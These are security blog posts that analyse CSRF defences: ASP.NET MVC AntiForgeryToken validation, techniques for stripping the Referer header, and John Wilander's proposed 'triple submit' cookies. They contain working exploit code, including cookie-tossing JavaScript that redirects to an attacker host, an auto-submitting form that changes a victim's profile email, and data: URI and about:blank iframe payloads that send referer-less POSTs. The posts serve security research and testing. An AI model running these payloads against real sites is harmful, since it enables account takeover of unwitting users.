.NET MVC AntiforgeryToken CSRF Testing

Besides work being busy, I’m heads down ramping up my Blackhat EU talk, which is mostly about CSRF. I promise it’s more interesting than it sounds. I’m saving my favorite pieces for the talk, but between now and then I’ll mention a few tidbits.

A while ago, I talked about triple submit and the basics of how antiforgerytoken here. To recap, MVC is a variation of double submit that ties the POST parameter to a session identifier. In System.Web.Helpers.AntiXsrf.Validate:

public void Validate(HttpContextBase httpContext, string cookieToken, string formToken)
{
    this.CheckSSLConfig(httpContext);
    AntiForgeryToken token = this.DeserializeToken(cookieToken);
    AntiForgeryToken token2 = this.DeserializeToken(formToken);
    this._validator.ValidateTokens(httpContext, ExtractIdentity(httpContext), token, token2);
}

Then ValidateTokens contains the logic that prevents CSRF attacks

public void ValidateTokens(HttpContextBase httpContext, IIdentity identity, AntiForgeryToken sessionToken, AntiForgeryToken fieldToken)
{   
  if (sessionToken == null)
  {
    throw HttpAntiForgeryException.CreateCookieMissingException(this._config.CookieName);
  }
  if (fieldToken == null)
  {
    throw HttpAntiForgeryException.CreateFormFieldMissingException(this._config.FormFieldName);
  }
  if (!sessionToken.IsSessionToken || fieldToken.IsSessionToken)
  {
    throw HttpAntiForgeryException.CreateTokensSwappedException(this._config.CookieName, this._config.FormFieldName);
  }
  if (!object.Equals(sessionToken.SecurityToken, fieldToken.SecurityToken))
  {
    throw HttpAntiForgeryException.CreateSecurityTokenMismatchException();
  }
  string b = string.Empty;
  BinaryBlob objB = null;
  if ((identity != null) && identity.IsAuthenticated)
  {
    objB = this._claimUidExtractor.ExtractClaimUid(identity);
    if (objB == null)
    {
      b = identity.Name ?? string.Empty;
    }
  }
  bool flag = b.StartsWith("http://", StringComparison.OrdinalIgnoreCase) || b.StartsWith("https://", StringComparison.OrdinalIgnoreCase);
  if (!string.Equals(fieldToken.Username, b, flag ? StringComparison.Ordinal : StringComparison.OrdinalIgnoreCase))
  {
    throw HttpAntiForgeryException.CreateUsernameMismatchException(fieldToken.Username, b);
  }
  if (!object.Equals(fieldToken.ClaimUid, objB))
  {
    throw HttpAntiForgeryException.CreateClaimUidMismatchException();
  }
  if ((this._config.AdditionalDataProvider != null) && !this._config.AdditionalDataProvider.ValidateAdditionalData(httpContext, fieldToken.AdditionalData))
  {
     throw HttpAntiForgeryException.CreateAdditionalDataCheckFailedException();
  }
}

To make use of this CSRF prevention, Controller methods can add the ValidateAntiForgeryToken attribute. Although there are obvious mistakes that can be made, such as forgetting to add the attribute to some methods, if this is used as intended it should prevent CSRF attacks. In fact, this is what the Microsoft SDL recommends.

Unfortunately, perhaps more often than not, the ValidateToken protection is not used as intended.

One of the most common mistakes with CSRF protections in general is not tying the form/cookie pair to the user and session, and this is also the case with .NET MVC4. Although with default forms based authentication the CSRF protection is secure, there are many types of authentication – and many (if not most) real large-scale web applications will implement some type of custom authentication. A site might use Facebook, openID, gmail, Live ID, etc. – these are all supported in auth frameworks like ACS. As one example, most web applications at Microsoft do not use forms based auth, and instead use something like LiveID.

Whenever a web application uses custom authentication, the default protection can very easily break. Here is an example of an exploit that uses an XSS in a neighboring domain.

  1. Login to the application http://mvc_app.mydomain.com with a malicious account (badguy@live.com) and record the CSRF cookie and the CSRF POST parameter. These have default names like __RequestVerificationToken_Lw__ and __RequestVerificationToken__
  2. Find XSS on any other *.mydomain.com domain. Depending on the domain, this may not be difficult or even by design depending on the application.
  3. Craft the XSS to force our attacker mydomain.com cookie, and redirect to our attacker site where we can put the remainder of our JavaScript
  4. document.cookie = "__RequestVerificationToken_Lw__=j5DTuG+TakJjC7NxojmAPAuZzSVlZrR...; path= /csrfpath; domain=.mydomain.com; expires=Wed, 16-Nov-2013 22:38:05 GMT;";
    window.location="http://evil.webstersprodigy.net/cookies/cookie.html";
    
  5. Now that the CSRF cookie is set, http://evil.webstersprodigy.net/cookies/cookie.html does the POST with our saved attacker POST verification token. After this POSTs, then the victim’s account will be updated.
  6. <html> 
    <body> 
    <form id="dynForm" action="https://mvcapp.mydomain.com/csrfpath/Edit" method="POST"> 
    <input type="hidden" name="__RequestVerificationToken" value="/onkfP/l0h8nBAX5%2BhadCSabNFq3QTnfWM0l2byt8SGYTy..." /> 
    <input type="hidden" name="Profile.FirstName" value="Bad" /> 
    <input type="hidden" name="Profile.LastName" value="Guy" /> 
    <input type="hidden" name="Profile.Email" value="evil1337@live-int.com" /> 
    <input type="hidden" name="saveAndContinueButton" value="NEXT" /> 
    </form> 
    <script type="text/javascript"> 
    alert("cookies are tossed"); 
    document.getElementById("dynForm").submit(); 
    </script> 
    </body> 
    </html>
    
    

Although the exploit is relatively complicated (you need to find an XSS in a subdomain, make sure you have all the relevant parameters encoded correctly, etc.) testing for the vulnerability is much more straightforward. This test can also be applied generically to several other protection schemes.

  1. Find the authentication cookie(s). Without this cookie, it should not be possible for a user to visit a site. For example, with LiveID it’s usually RPSSecAuth.
  2. Login as user1 and perform an action. Capture both the cookies and POST parameters, noting the parameters that are preventing CSRF. For example, with MVC4 these are usually named __RequestVerificationValue and __RequestVerificationToken
  3. Login as user2 and replace the CSRF tokens (but not auth tokens) captured in step2. If the request succeeds, then the application is vulnerable.

There are several exploitation scenarios that are essentially equivalent to those outlined in Naïve double submit. In other words, a vulnerability exists if the CSRF POST nonce is not cryptographically tied to the legitimate session.

Stripping the Referer in a Cross Domain POST request

I recently came across a POST CSRF where the referer had to be from the same origin or be absent completely. Here are the ways I know about to remove the referer. A lot of people might know this sort of thing, but I liked thinking about it. I think this might be a good interview question for web app security folks :)

HTTPS -> HTTP (works if the target is HTTP not HTTPS)

So an HTTP request to an HTTP request will have a referer, so will HTTPS to HTTPS (even cross domain). Just to cover all our bases, so will HTTP to HTTPS. This seems to be consistent across browsers.

But HTTPS sites will not send referers when POSTing/linking to HTTP. This is usually my go to for stripping referers because it’s so easy. Unfortunately, in this case, the application I was trying to exploit was only over HTTPS so this technique isn’t an option.

data: URIs (works in FF and Chrome)

Koto thought of this generic idea, and he uses the data: protocol in this excellent post. This works great, as long as you’re not attacking IE, which doesn’t seem to support the data: protocol.

<html>
  <body>
   <script type="text/javascript">
  function post_without_referer() {
    // POST request, WebKit & Firefox. Data, meta & form submit trinity
   location = 'data:text/html,<html><meta http-equiv="refresh" content="0; url=data:text/html,' +
              '<form id=dynForm method=POST action=\'https://www.example.com/login.php?login_attempt=1\'>' +
              '<input type=hidden name=email value=example@live.com />' +
              '<input type=hidden name=pass value=password />' +
              '<input type=hidden name=locale value=en_US />' +
              '</form><script>document.getElementById(\'dynForm\').submit()</scri'+'pt>"></html>';
}

   </script>

  <a href="#" onclick="post_without_referer()">POST without referer (FF,chrome)</a>
  </body>
</html>

He also includes an IE thing, but that will only work with GET requests.

CORS (doesn’t work afaik)

According to the spec at http://www.w3.org/TR/XMLHttpRequest/#anonymous-flag

referer source
If the anonymous flag is set, the URL “about:blank”, and the referrer source otherwise.

The XMLHttpRequest object has an associated anonymous flag. If the anonymous flag is set, user credentials and the source origin are not exposed when fetching resources.

In FF this is called the MozAnon flag. Unfortunately, all the browsers I’ve tested do actually send the referer by default, regardless of the flag. And even if browsers did follow the spec there are definitely some limitations. This would be a one shot deal – the response (e.g. set cookies) would not be processed because the server wouldn’t send back the proper origin stuff. Additionally, if the anon flag works, the browser won’t send cookies either (this part of the anon flag does work).

about:blank (works in everything)

Despite not working, CORS gave me an idea that turned out to work well. I had a few more tangents on my list, like 307 redirects that might work. But the thing is, the reason data: works (where it’s supported), and the reason 307 might work, and the reason CORS should have sort of worked is the fact that these things execute in the about:blank context. Because about:blank doesn’t have a domain per se, it doesn’t send a referer. The nice thing about this is we can create our own window or iframe in this context and just write to it. For example, the following will not send a referer in any browser I tested. This means we win :)

Note you have to modify slightly because wordpress snipped out my iframe in tags.

<html>
<head>
<script>
function load() {
    var postdata = '<form id=dynForm method=POST action=\'https://www.example.com/login.php?login_attempt=1\'>' +
                    '<input type=hidden name=email value=example@live.com />' +
                    '<input type=hidden name=pass value=password />' +
                    '<input type=hidden name=locale value=en_US />' +
                    '</form>';
    top.frames[0].document.body.innerHTML=postdata;
    top.frames[0].document.getElementById('dynForm').submit();
}
</script>
</head>
<body onload="load()">

< iframe src="about:blank" id="noreferer">< /iframe>


</body>
</html>


Analysis of John Wilander’s Triple Submit Cookies

TLDR

At OWASP Appsec Research John Wilander recently presented an interesting CSRF mitigation – an enhancement to double submit he calls “triple submit”. It’s not implemented yet, but the idea would mitigate some of the problems with a naive double submit algorithm. This post takes a look at that and comes away with the conclusion that triple submit is an improvement over a naive double submit implementation, but doesn’t mitigate CSRF problems as well as other widespread stateless solutions in use.

Background

Double submit cookie mitigations to CSRF are common and implementations can vary a lot. The solution is tempting because it’s scalable and easy to implement. One of the most common variation is the naive:

if (cookievalue != postvalue)
    throw CSRFCheckError

In other words, if an attacker can write a cookie, they can defeat the protection. I’ll refer to this as “naive double submit” for the rest of this post.

Naive double submit has a couple weaknesses. Writing cookies is a lot easier than reading them. Anyone on the same local network can write cookies, or you can write them with an XSS in a neighboring domain. We chatted about this a bit in our 28c3/Blackhat AD talk. As part of that, I showed a bug I opened against owa in 2010, which used to use a naive double submit implementation (and is now fixed, as is the neighbor XSS used to write the cookies). Also, check out my mad video editing skills, which I used to censor people who emailed my test account by accident and probably didn’t need to be censored anyway, but that’s just how I roll.

Better versions of double submit are common also. One variation is to tie the submit values to the session identifier (e.g. the token is a hash of the session ID). ASP.net MVC4 implements something sort of similar to this, and I think what they do is pretty good. I dropped this into reflector to see how it’s implemented.

First in System.Web.Helpers.AntiXsrf.Validate

public void Validate(HttpContextBase httpContext, string cookieToken, string formToken)
{
    this.CheckSSLConfig(httpContext);
    AntiForgeryToken token = this.DeserializeToken(cookieToken);
    AntiForgeryToken token2 = this.DeserializeToken(formToken);
    this._validator.ValidateTokens(httpContext, ExtractIdentity(httpContext), token, token2);
}

Then look at what ValidateTokens is doing:

    public void ValidateTokens(HttpContextBase httpContext, IIdentity identity, AntiForgeryToken sessionToken, AntiForgeryToken fieldToken)
    {
        if (sessionToken == null)
        {
            throw HttpAntiForgeryException.CreateCookieMissingException(this._config.CookieName);
        }
        if (fieldToken == null)
        {
            throw HttpAntiForgeryException.CreateFormFieldMissingException(this._config.FormFieldName);
        }
        if (!sessionToken.IsSessionToken || fieldToken.IsSessionToken)
        {
            throw HttpAntiForgeryException.CreateTokensSwappedException(this._config.CookieName, this._config.FormFieldName);
        }
        if (!object.Equals(sessionToken.SecurityToken, fieldToken.SecurityToken))
        {
            throw HttpAntiForgeryException.CreateSecurityTokenMismatchException();
        }
        string b = string.Empty;
        BinaryBlob objB = null;
        if ((identity != null) && identity.IsAuthenticated)
        {
            objB = this._claimUidExtractor.ExtractClaimUid(identity);
            if (objB == null)
            {
                b = identity.Name ?? string.Empty;
            }
        }
        bool flag = b.StartsWith("http://", StringComparison.OrdinalIgnoreCase) || b.StartsWith("https://", StringComparison.OrdinalIgnoreCase);
        if (!string.Equals(fieldToken.Username, b, flag ? StringComparison.Ordinal : StringComparison.OrdinalIgnoreCase))
        {
            throw HttpAntiForgeryException.CreateUsernameMismatchException(fieldToken.Username, b);
        }
        if (!object.Equals(fieldToken.ClaimUid, objB))
        {
            throw HttpAntiForgeryException.CreateClaimUidMismatchException();
        }
        if ((this._config.AdditionalDataProvider != null) && !this._config.AdditionalDataProvider.ValidateAdditionalData(httpContext, fieldToken.AdditionalData))
        {
            throw HttpAntiForgeryException.CreateAdditionalDataCheckFailedException();
        }
    }
}

Even given the assumption the attackers can write cookies, this is difficult to attack. It’s stateless, and it does compare the cookie to forms, but it also extracts and validates username, the claimUid, and any additional data. By default, one user’s token won’t work on another user or another session. I don’t know the details of other stateless CSRF implementations, but with sites that look like they’re doing things right (Gmail CSRF protection) I’d bet they do something similar.

Any proposed new CSRF protection should offer some advantage against existing commonly implemented solutions (e.g. ASP.net MVC CSRF protection). It doesn’t need to be better at everything, but it should be better at something.

Triple Submit Cookies

John Wilinder recently wrote up an interesting variation on the double submit scheme called “triple submit”. Thanks to John for writing this up, it’s great people are looking at this problem – web app people often don’t realize how easy cookie writes can be. There’s no implementation for triple submit available at the moment, but this is what I gather:

  • The value of the cookie is compared with the POST value, like a regular double submit.
  • A cookie is set with HTTP-Only
  • There can only be exactly one cookie with the prefix in the request or the request fails.
  • The name of the cookie has a prefix plus random value (e.g. random-cookie7-afcade2…).

Let’s look at these one by one.

Cookie == Post, HTTP-Only

Checking that a cookie is equal to POST is the same as the naive double submit solution I mentioned above. It does add security, but has weaknesses. Like I mention above, people in neighboring domains can write cookies, and people in the middle can write cookies.

HTTP-Only is irrelevant in this case. The property matters when reading cookies, but not writing new ones.

Exactly One Cookie with the Prefix

The third bullet does add security when compared with the naive solution. A common attack with naive double submit is to write a cookie with an XSS in a neighboring domain (e.g. from site1.example.com to site2.example.com). If the user is logged in with cookies and they write a single cookie of their own, this will create two cookies, which the server could detect. This is pretty good, and prevents quite a few attacks, or at least makes them a lot harder.

There are still several issues I have with this:

First, performance penalty/implementation flaws. It might be more complicated than you think to verify exactly one cookie is being sent. A lot (most?) web application frameworks treat reading cookies as a case insensitive dictionary. In PHP, the $_COOKIE variable is theoretically an array of all the cookies, but if the browser sends “Cookie: csrf=foofoofoofoofoofoofoofoo; csrf=tosstosstosstosstoss; CsRf=IMDIFFERENT”, the array will only contain the first one. It’s similar with .NET’s Request.Cookie array, and most other server side implementations. One example of an implementation flaw is if the code made the (unlikely) mistake of referencing the POST value (e.g.Request.cookies[$POST_VAL]) then an adversary could attack this in the same way he’d attack the naive double submit. To prevent this, it seems like triple submit would have to iterate through each cookie name value pair and check for the prefix. What’s the performance penalty? It might be negligible, but with modern applications having dozens of cookies that would have to be iterated on with each request, it is something that should be measured.

Second, not all login methods require cookies. Say triple submit was implemented without any implementation flaws, but somebody used this as the method to prevent CSRF on a single sign on Kerberos/NTLM authed website. If the victim hasn’t logged in so that their token is set, an attacker could toss a cookie of the correct format (random-cookie7-…) and the exploitabiliy would be equivalent to the naive double submit. There would only be one cookie so the check would pass, and it’s SSO so the victim is always logged in.

Third, all browser cookie-jars overflow eventually. This attack would be difficult, but aren’t a lot of attacks when they start as ideas? Say the victim’s browser had cookies that looked like this:

AuthCookie=<guid>;Name=websters;random-cookie7-<random value>=<guid>

In triple submit, the POST value has to match the random-cookie7 prefix. One attack would be to overflow the cookie jar with some precision, so that it overflows random-cookie7, but not AuthCookie. In the end, it might look like the following:

random-cookie7-<attacker-value>=<attacker guid>;filler=1;filler=2;....
AuthCookie=<guid> (rest has overflowed)

Using this, an attacker could potentially bypass the CSRF protection.

Cookie Name with Prefix

The cookie name is the third thing submitted in the ‘triple submit’ solution. This probably doesn’t add security in the XSS neighbor case, but does add some in the MiTM case.

It’s common for people think there is only one cookie written if the cookie name is the same. Whenever I’ve tested, this isn’t the case. Even if the “tossed cookie” names are identical the browser still sends two cookies. Let’s look at an example.

A legitimate site, example.com might set a cookie:

<script>
document.cookie = "csrf=foofoofoofoofoofoofoofoo; expires=Wed, 16-Nov-2013 22:38:05 GMT;";
</script>

If a neighboring site, host1.example.com tries to write a cookie with the same name:

<script>
document.cookie = "csrf=tosstosstosstosstoss; domain=.example.com; expires=Wed, 16-Nov-2013 22:38:05 GMT;";
</script>

In major browsers there now exist two cookies with the same name. In the requests to example.com it now looks something like this:

Cookie: csrf=foofoofoofoofoofoofoofoo; csrf=tosstosstosstosstoss

The point of this is, in the neighbor XSS case there will almost always be more than one cookie in the request whether there’s a hidden unique name or not.

Another more rare but applicable attack is a MiTM where an attacker is trying to overwrite a secure HTTPS-only cookie from an HTTP site. This is a different story. If I’m in the middle, I can write cookies, even secure ones, as long as I know the name of the cookie. Randomizing the cookie name makes an attack quite a bit harder; the goal shifts from overwriting something specific to trying to expire a random cookie where I don’t know the name. However, I can still imagine attacks on an implementation of triple submit when you’re in the middle: If the server legitimately expires the CSRF tokens (it would probably have to at some point) you might be able to force this request. If the cookies don’t have expire dates, you could crash the browser to force these cookies to expire. If the random piece of the cookie name isn’t that long you could expire millions and eventually guess the right one. There might also be clever SSL tricks that cut up certain responses so that an old cookie is expired but the new one isn’t set (leaving you free to set one). Speculative attacks on speculative implementations aside, with a good implementation having the random name would at least make overwriting the cookie from the middle significantly more difficult.

The Simplicity Advantage?

I think the best argument in favor of triple submit versus a double submit tied to the auth tokens (e.g. MVCv4) would be one of simplicity. I don’t like this argument much for a few reasons

  • Implementation wise, CSRF mitigations only need to be implemented one time per framework, and implementation isn’t substantially more difficult to code one way or the other.
  • You always need at least some minimal knowledge of the application. If you were to put a CSRF solution into a WAF and added this as a rule for all POST requests, what if the application sometimes also changes state for GET? Solutions tied with auth tokens really wouldn’t be much more complicated, even with WAF type scenarios.
  • Although with triple submit the idea is simpler, I think there are quite a few more gotchas, and it seems more easy to mess up. This is somewhat subjective, but I’ve tried to point out a few ways the implementation could have problems in this post

Conclusions

Triple cookie submit is an improvement over naive double submit. Naive double submit makes some CSRFs more difficult to exploit, and like that, triple submit makes many vectors even more difficult to exploit. However, there are still attack vectors that triple submit doesn’t protect against – overflowing the cookie jar, CSRF against SSO auth, and probably some clever MiTM vectors. Although triple submit offers some additional security, I think this is still worse than other existing solutions.